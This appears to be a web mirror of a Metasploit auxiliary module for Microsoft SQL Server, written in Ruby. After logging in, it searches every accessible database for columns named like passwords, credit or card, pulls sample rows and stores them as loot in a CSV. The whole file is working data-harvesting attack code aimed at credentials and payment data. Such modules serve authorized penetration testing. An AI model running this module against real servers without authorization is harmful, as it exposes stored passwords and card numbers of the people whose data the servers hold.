Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Scanner
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::MSSQL
10
include Msf::OptionalSession::MSSQL
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Microsoft SQL Server Find and Sample Data',
17
'Description' => %q{
18
This script will search through all of the non-default databases
19
on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS
20
option. If column names are found that match the defined keywords and data is present
21
in the associated tables, the script will select a sample of the records from each of
22
the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results
23
output in a CSV format.
24
},
25
'Author' => [
26
'Scott Sutherland <scott.sutherland[at]netspi.com>', # Metasploit module
27
'Robin Wood <robin[at]digininja.org>', # IDF module which was my inspiration
28
'humble-desser <humble.desser[at]gmail.com>', # Help on IRC
29
'Carlos Perez <carlos_perez[at]darkoperator.com>', # Help on IRC
30
'hdm', # Help on IRC
31
'todb' # Help on GitHub
32
],
33
'License' => MSF_LICENSE,
34
'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]],
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [IOC_IN_LOGS],
38
'Reliability' => []
39
}
40
)
41
)
42
43
register_options(
44
[
45
OptString.new('KEYWORDS', [ true, 'Keywords to search for', 'passw|credit|card']),
46
OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]),
47
]
48
)
49
end
50
51
def print_with_underline(str)
52
print_line(str)
53
print_line('=' * str.length)
54
end
55
56
def run_host(_ip)
57
sql_statement
58
end
59
60
# rubocop:disable Metrics/MethodLength
61
# # TODO: Move this SQL to a file
62
def sql_statement
63
# DEFINED HEADER TEXT
64
headings = [
65
['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
66
]
67
68
# DEFINE SEARCH QUERY AS VARIABLE
69
sql = "
70
-- CHECK IF VERSION IS COMPATIBLE = > than 2000
71
IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
72
CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 0
73
BEGIN
74
75
-- TURN OFF ROW COUNT
76
SET NOCOUNT ON;
77
--------------------------------------------------
78
-- SETUP UP SAMPLE SIZE
79
--------------------------------------------------
80
DECLARE @SAMPLE_COUNT varchar(800);
81
SET @SAMPLE_COUNT = '#{datastore['SAMPLE_SIZE']}';
82
83
--------------------------------------------------
84
-- SETUP KEYWORDS TO SEARCH
85
--------------------------------------------------
86
DECLARE @KEYWORDS varchar(800);
87
SET @KEYWORDS = '#{datastore['KEYWORDS']}|';
88
89
--------------------------------------------------
90
--SETUP WHERE STATEMENT CONTAINING KEYWORDS
91
--------------------------------------------------
92
DECLARE @SEARCH_TERMS varchar(800);
93
SET @SEARCH_TERMS = ''; -- Leave this blank
94
95
-- START WHILE LOOP HERE -- BEGIN TO ITERATE THROUGH KEYWORDS
96
97
WHILE LEN(@KEYWORDS) > 0
98
BEGIN
99
--SET VARIABLES UP FOR PARSING PROCESS
100
DECLARE @change int
101
DECLARE @keyword varchar(800)
102
103
--SET KEYWORD CHANGE TRACKER
104
SELECT @change = CHARINDEX('|',@KEYWORDS);
105
106
--PARSE KEYWORD
107
SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ;
108
109
-- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT
110
SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS
111
112
-- REMOVE PROCESSED KEYWORD
113
SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS));
114
115
END
116
-- REMOVE UNNEEDED
117
SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2);
118
119
--------------------------------------------------
120
-- CREATE GLOBAL TEMP TABLES
121
--------------------------------------------------
122
USE master;
123
124
IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
125
IF OBJECT_ID('tempdb..##mytable') IS NULL
126
BEGIN
127
CREATE TABLE ##mytable (
128
server_name varchar(800),
129
database_name varchar(800),
130
table_schema varchar(800),
131
table_name varchar(800),
132
column_name varchar(800),
133
column_data_type varchar(800)
134
)
135
END
136
137
IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
138
IF OBJECT_ID('tempdb..##mytable2') IS NULL
139
BEGIN
140
CREATE TABLE ##mytable2 (
141
server_name varchar(800),
142
database_name varchar(800),
143
table_schema varchar(800),
144
table_name varchar(800),
145
column_name varchar(800),
146
column_data_type varchar(800),
147
column_value varchar(800),
148
column_data_row_count varchar(800)
149
)
150
END
151
152
--------------------------------------------------
153
-- CURSOR1
154
-- ENUMERATE COLUMNS FROM EACH DATABASE THAT
155
-- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE
156
--------------------------------------------------
157
158
-- SETUP SOME VARIABLES FOR THE MYCURSOR1
159
DECLARE @var1 varchar(800);
160
DECLARE @var2 varchar(800);
161
162
--------------------------------------------------------------------
163
-- CHECK IF ANY NON-DEFAULT DATABASE EXIST
164
--------------------------------------------------------------------
165
IF (SELECT count(*)
166
FROM master..sysdatabases
167
WHERE name NOT IN ('master','tempdb','model','msdb')
168
and HAS_DBACCESS(name) <> 0) <> 0
169
BEGIN
170
DECLARE MY_CURSOR1 CURSOR
171
FOR
172
173
SELECT name FROM master..sysdatabases
174
WHERE name NOT IN ('master','tempdb','model','msdb')
175
and HAS_DBACCESS(name) <> 0;
176
177
OPEN MY_CURSOR1
178
FETCH NEXT FROM MY_CURSOR1 INTO @var1
179
WHILE @@FETCH_STATUS = 0
180
BEGIN
181
---------------------------------------------------
182
-- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE
183
---------------------------------------------------
184
SET @var2 = '
185
INSERT INTO ##mytable
186
SELECT @@SERVERNAME as SERVER_NAME,
187
TABLE_CATALOG as DATABASE_NAME,
188
TABLE_SCHEMA,
189
TABLE_NAME,
190
COLUMN_NAME,
191
DATA_TYPE
192
FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE '
193
194
--APPEND KEYWORDS TO QUERY
195
DECLARE @fullquery varchar(800);
196
SET @fullquery = @var2+@SEARCH_TERMS;
197
198
EXEC(@fullquery);
199
FETCH NEXT FROM MY_CURSOR1 INTO @var1
200
201
END
202
CLOSE MY_CURSOR1
203
DEALLOCATE MY_CURSOR1
204
-------------------------------------------------
205
-- CURSOR2
206
-- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS
207
-- THAT MATCH THE DEFINED KEYWORDS
208
-- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES
209
-------------------------------------------------
210
211
IF (SELECT COUNT(*) FROM ##mytable) < 1
212
BEGIN
213
SELECT 'No columns where found that match the defined keywords.' as Message;
214
END
215
ELSE
216
BEGIN
217
DECLARE @var_server varchar(800)
218
DECLARE @var_database varchar(800)
219
DECLARE @var_table varchar(800)
220
DECLARE @var_table_schema varchar(800)
221
DECLARE @var_column_data_type varchar(800)
222
DECLARE @var_column varchar(800)
223
DECLARE @myquery varchar(800)
224
DECLARE @var_column_data_row_count varchar(800)
225
226
DECLARE MY_CURSOR2 CURSOR
227
FOR
228
SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type
229
FROM ##mytable
230
231
OPEN MY_CURSOR2
232
FETCH NEXT FROM MY_CURSOR2 INTO @var_server,
233
@var_database,
234
@var_table_schema,
235
@var_table,
236
@var_column,
237
@var_column_data_type
238
WHILE @@FETCH_STATUS = 0
239
BEGIN
240
----------------------------------------------------------------------
241
-- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2
242
----------------------------------------------------------------------
243
-- GET COUNT
244
DECLARE @mycount_query as varchar(800);
245
DECLARE @mycount as varchar(800);
246
247
-- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT
248
IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
249
CREATE TABLE #mycount(mycount varchar(800));
250
251
-- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY
252
SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT
253
COUNT('+@var_column+') FROM '+@var_database+'.
254
'+@var_table_schema+'.'+@var_table;
255
EXEC(@mycount_query);
256
257
-- SET THE COLUMN DATA ROW COUNT
258
SELECT @mycount = mycount FROM #mycount;
259
260
-- REMOVE TEMP TABLE
261
IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
262
263
SET @myquery = '
264
INSERT INTO ##mytable2
265
(server_name,
266
database_name,
267
table_schema,
268
table_name,
269
column_name,
270
column_data_type,
271
column_value,
272
column_data_row_count)
273
SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name,
274
('''+@var_database+''') as database_name,
275
('''+@var_table_schema+''') as table_schema,
276
('''+@var_table+''') as table_name,
277
('''+@var_column+''') as comlumn_name,
278
('''+@var_column_data_type+''') as column_data_type,
279
'+@var_column+','+@mycount+' as column_data_row_count
280
FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']
281
WHERE '+@var_column+' IS NOT NULL;
282
'
283
EXEC(@myquery);
284
285
FETCH NEXT FROM MY_CURSOR2 INTO
286
@var_server,
287
@var_database,
288
@var_table_schema,
289
@var_table,@var_column,
290
@var_column_data_type
291
END
292
CLOSE MY_CURSOR2
293
DEALLOCATE MY_CURSOR2
294
295
-----------------------------------
296
-- SELECT THE RESULTS OF THE SEARCH
297
-----------------------------------
298
IF (SELECT @SAMPLE_COUNT)= 1
299
BEGIN
300
SELECT DISTINCT cast(server_name as CHAR) as server_name,
301
cast(database_name as char) as database_name,
302
cast(table_schema as char) as table_schema,
303
cast(table_name as char) as table_schema,
304
cast(column_name as char) as column_name,
305
cast(column_data_type as char) as column_data_type,
306
cast(column_value as char) as column_data_sample,
307
cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
308
END
309
ELSE
310
BEGIN
311
SELECT DISTINCT cast(server_name as CHAR) as server_name,
312
cast(database_name as char) as database_name,
313
cast(table_schema as char) as table_schema,
314
cast(table_name as char) as table_schema,
315
cast(column_name as char) as column_name,
316
cast(column_data_type as char) as column_data_type,
317
cast(column_value as char) as column_data_sample,
318
cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
319
END
320
END
321
-----------------------------------
322
-- REMOVE GLOBAL TEMP TABLES
323
-----------------------------------
324
IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
325
IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
326
327
END
328
ELSE
329
BEGIN
330
----------------------------------------------------------------------
331
-- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS
332
----------------------------------------------------------------------
333
IF (SELECT count(*) FROM master..sysdatabases
334
WHERE name NOT IN ('master','tempdb','model','msdb')) < 1
335
SELECT 'No non-default databases exist to search.' as Message;
336
ELSE
337
SELECT 'Non-default databases exist,
338
but the current user does not have
339
the privileges to access them.' as Message;
340
END
341
END
342
else
343
BEGIN
344
SELECT 'This module only works on SQL Server 2005 and above.';
345
END
346
347
SET NOCOUNT OFF;"
348
349
# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
350
begin
351
if session
352
set_mssql_session(session.client)
353
else
354
print_line(' ')
355
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
356
return unless mssql_login_datastore
357
358
print_good("Successfully connected to #{mssql_client.peerhost}:#{mssql_client.peerport}")
359
end
360
361
print_status('Attempting to retrieve data ...')
362
result = mssql_query(sql, false)
363
364
column_data = result[:rows]
365
rescue StandardError
366
print_error("Failed to connect to #{rhost}:#{rport}")
367
return
368
end
369
370
if (column_data.count < 7)
371
# Return error from SQL server
372
column_data.each do |row|
373
print_status(row.to_s.gsub('[', '').gsub(']', '').gsub('"', '').to_s)
374
end
375
return
376
end
377
378
# CREATE TABLE TO STORE SQL SERVER DATA LOOT
379
sql_data_tbl = Rex::Text::Table.new(
380
'Header' => 'SQL Server Data',
381
'Indent' => 1,
382
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
383
)
384
385
# SETUP COLUMN WIDTH FOR QUERY RESULTS
386
column_data.each do |row|
387
0.upto(7) do |col|
388
row[col] = row[col].strip.to_s
389
end
390
end
391
392
# SETUP ROW WIDTHS
393
widths = [0, 0, 0, 0, 0, 0, 0, 0]
394
(column_data | headings).each do |row|
395
0.upto(7) do |col|
396
widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]
397
end
398
end
399
400
# PRINT HEADERS
401
print_line(' ')
402
buffer1 = ''
403
buffer2 = ''
404
headings.each do |row|
405
0.upto(7) do |col|
406
buffer1 += row[col].ljust(widths[col] + 1)
407
buffer2 += row[col] + ','
408
end
409
print_line(buffer1)
410
buffer2 = buffer2.chomp(',') + "\n"
411
end
412
413
# PRINT DIVIDERS
414
buffer1 = ''
415
buffer2 = ''
416
headings.each do |_row|
417
0.upto(7) do |col|
418
divider = '=' * widths[col] + ' '
419
buffer1 += divider.ljust(widths[col] + 1)
420
end
421
print_line(buffer1)
422
end
423
424
# PRINT DATA
425
buffer1 = ''
426
buffer2 = ''
427
print_line('')
428
column_data.each do |row|
429
0.upto(7) do |col|
430
buffer1 += row[col].ljust(widths[col] + 1)
431
buffer2 += row[col] + ','
432
end
433
print_line(buffer1)
434
buffer2 = buffer2.chomp(',') + "\n"
435
436
# WRITE QUERY OUTPUT TO TEMP REPORT TABLE
437
sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
438
439
buffer1 = ''
440
buffer2 = ''
441
print_line(buffer1)
442
end
443
disconnect
444
445
this_service = nil
446
if framework.db && framework.db.active
447
this_service = report_service(
448
host: mssql_client.peerhost,
449
port: mssql_client.peerport,
450
name: 'mssql',
451
proto: 'tcp'
452
)
453
end
454
455
# CONVERT TABLE TO CSV AND WRITE TO FILE
456
filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_sqlserver_query_results.csv"
457
path = store_loot('mssql.data', 'text/plain', mssql_client.peerhost, sql_data_tbl.to_csv, filename, 'SQL Server query results', this_service)
458
print_good("Query results have been saved to: #{path}")
459
end
460
# rubocop:enable Metrics/MethodLength
461
end
462
463